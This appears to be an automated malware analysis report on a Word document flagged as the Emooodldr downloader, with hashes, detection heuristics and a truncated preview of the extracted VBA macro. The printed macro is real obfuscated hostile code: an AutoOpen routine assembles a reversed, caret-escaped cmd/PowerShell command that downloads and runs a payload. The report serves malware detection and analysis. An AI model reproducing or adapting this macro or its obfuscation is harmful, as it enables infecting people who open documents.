Emooodldr — Office (OLE) malware analysis

Static analysis result for SHA-256 18476504ce199543…

MALICIOUS

Office (OLE)

86.5 KB Created: 2018-09-20 18:02:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: d569be053d2aaa931b9ceac7eaa5cfe3 SHA-1: d9b842f915aec390e626a6fa405eaa5086569afa SHA-256: 18476504ce19954334f06d5b9ff6c98195015e342aaf7bb4eff7e2dc1faaa089
142 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Malware.Emooodldr-6692017-0, indicating the Emooodldr family. It contains a legacy WordBasic AutoOpen macro, which is a common technique for initial execution of malware within Office documents. The macro is likely responsible for downloading and executing a secondary payload, though the specific download URL is obfuscated and truncated in the provided script excerpt.

Heuristics 5

  • ClamAV: Doc.Malware.Emooodldr-6692017-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6692017-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15930 bytes
SHA-256: e55e33187cef3736d4ff10d503d0ebc7d2c71b859db1d00d2e0e279aee66b3db
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "LjCfsKUvAHuEVq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const YXYmjq = 0
   Dim JjWIq(2)
JjWIq(0) = MidB(iChOjoVL, 679, 32) + MidB(iChOjoVL, 679, 32)
JjWIq(1) = Left(jQQUn, 91) + Mid(iNFkUI, 744, 124)
   Dim hDNzuL(3)
hDNzuL(0) = Left(jQQUn, 91) + MidB(iChOjoVL, 679, 32) + Mid(iNFkUI, 744, 124) + MidB(iChOjoVL, 679, 32)
hDNzuL(1) = Mid(iNFkUI, 744, 124) + MidB(iChOjoVL, 679, 32)
hDNzuL(2) = MidB(iChOjoVL, 679, 32) + Mid(iNFkUI, 744, 124)
   Dim NhRkcB(4)
NhRkcB(0) = Right(zoRlDbSt, 393) + Left(jQQUn, 91)
NhRkcB(1) = MidB(iChOjoVL, 679, 32) + Mid(iNFkUI, 744, 124)
NhRkcB(2) = Mid(iNFkUI, 744, 124) + Right(zoRlDbSt, 393) + Left(jQQUn, 91) + MidB(iChOjoVL, 679, 32)
NhRkcB(3) = Left(jQQUn, 91) + Right(zoRlDbSt, 393)
   Dim Ttrih(5)
Ttrih(0) = MidB(iChOjoVL, 679, 32) + Left(jQQUn, 91) + Left(jQQUn, 91) + Right(zoRlDbSt, 393)
Ttrih(1) = MidB(iChOjoVL, 679, 32) + Right(zoRlDbSt, 393)
Ttrih(2) = Right(zoRlDbSt, 393) + Left(jQQUn, 91)
Ttrih(3) = Left(jQQUn, 91) + Left(jQQUn, 91) + Mid(iNFkUI, 744, 124) + Left(jQQUn, 91)
Ttrih(4) = Mid(iNFkUI, 744, 124) + Right(zoRlDbSt, 393)
   Dim kLJJlc(4)
kLJJlc(0) = Right(zoRlDbSt, 393) + Right(zoRlDbSt, 393)
kLJJlc(1) = Mid(iNFkUI, 744, 124) + Mid(iNFkUI, 744, 124)
kLJJlc(2) = Mid(iNFkUI, 744, 124) + MidB(iChOjoVL, 679, 32)
kLJJlc(3) = Right(zoRlDbSt, 393) + Left(jQQUn, 91)
   Dim woLtXr(2)
woLtXr(0) = Mid(iNFkUI, 744, 124) + Left(jQQUn, 91) + Right(zoRlDbSt, 393) + Left(jQQUn, 91)
woLtXr(1) = MidB(iChOjoVL, 679, 32) + Left(jQQUn, 91)
   Dim ChVPs(2)
ChVPs(0) = Mid(iNFkUI, 744, 124) + Left(jQQUn, 91)
ChVPs(1) = Mid(iNFkUI, 744, 124) + MidB(iChOjoVL, 679, 32)
Shell@ kncZTIG + rdKfutSHNK + VDdzQiM + AAFFjtdFUBG, YXYmjq
   Dim AcQccR(3)
AcQccR(0) = Left(jQQUn, 91) + Mid(iNFkUI, 744, 124) + Left(jQQUn, 91) + Mid(iNFkUI, 744, 124)
AcQccR(1) = Mid(iNFkUI, 744, 124) + MidB(iChOjoVL, 679, 32)
AcQccR(2) = Mid(iNFkUI, 744, 124) + MidB(iChOjoVL, 679, 32) + Right(zoRlDbSt, 393) + Mid(iNFkUI, 744, 124)
   Dim SWHAh(3)
SWHAh(0) = Right(zoRlDbSt, 393) + MidB(iChOjoVL, 679, 32)
SWHAh(1) = Right(zoRlDbSt, 393) + Left(jQQUn, 91) + Left(jQQUn, 91) + Right(zoRlDbSt, 393)
SWHAh(2) = MidB(iChOjoVL, 679, 32) + Left(jQQUn, 91)
   Dim TQEjSm(2)
TQEjSm(0) = MidB(iChOjoVL, 679, 32) + Mid(iNFkUI, 744, 124)
TQEjSm(1) = MidB(iChOjoVL, 679, 32) + Right(zoRlDbSt, 393) + Right(zoRlDbSt, 393) + Right(zoRlDbSt, 393)
End Sub


Attribute VB_Name = "ULTosJXDtERlH"
Function kncZTIG()
Dim Qiopn(2)
Qiopn(0) = Mid(iNFkUI, 744, 124) + MidB(iChOjoVL, 679, 32) + MidB(iChOjoVL, 679, 32) + MidB(iChOjoVL, 679, 32)
Qiopn(1) = MidB(iChOjoVL, 679, 32) + Mid(iNFkUI, 744, 124)
   Dim VVdtrY(2)
VVdtrY(0) = Right(zoRlDbSt, 393) + Left(jQQUn, 91)
VVdtrY(1) = Mid(iNFkUI, 744, 124) + Left(jQQUn, 91)
OhOwGEqD = CStr(Chr(CleanString(16 + 1 + 16 + 16 + 50))) + "md" + " /V^:^ON/" + CStr(Chr(CleanString(11 + 1 + 11 + 11 + 33))) + CStr(Chr(CleanString(5 + 0 + 5 + 5 + 19))) + "s^e^t" + " ^G" + "X^t^8=^ " + "^   ^ ^  ^ " + "    ^ ^ " + " ^ ^ }}{" + "h" + CStr(Chr(CleanString(16 + 1 + 16 + 16 + 50))) + "^t" + "^a" + CStr(Chr(CleanString(16 + 1 + 16 + 16 + 50))) + "^};kaerb^;^L" + "^XR^$ metI-" + "e^k^ov"
Dim CNsRfW(2)
CNsRfW(0) = MidB(iChOjoVL, 679, 32) + MidB(iChOjoVL, 679, 32)
CNsRfW(1) = Right(zoRlDbSt, 393) + Right(zoRlDbSt, 393) + Mid(iNFkUI, 744, 124) + Right(zoRlDbSt, 393)
   Dim pntDjY(2)
pntDjY(0) = MidB(iChOjoVL, 679, 32) + MidB(iChOjoVL, 679, 32) + Left(jQQUn, 91) + Right(zoRlDbSt, 393)
pntDjY(1) = Left(jQQUn, 91) + Left(jQQUn, 91)
   Dim YhNAvZ(3)
YhNAvZ(0) = MidB(iChOjoVL, 679, 32) + MidB(iChOjoVL, 679, 32)
YhNAvZ(1) = MidB(iChOjoVL, 679, 32) + MidB(iChOjoVL, 679, 32)
YhNAvZ(2) = Right(zoRlDbSt, 393) + Mid(iNFkUI, 744, 124) + MidB(iChOjoVL, 679, 32) + Mid(iNFkUI, 744, 124)
zmdknCSYsKi = "n^I;)^LXR$^" + " " + ",TH^u$(e" + "liF^" + "d^aol" + 
... (truncated)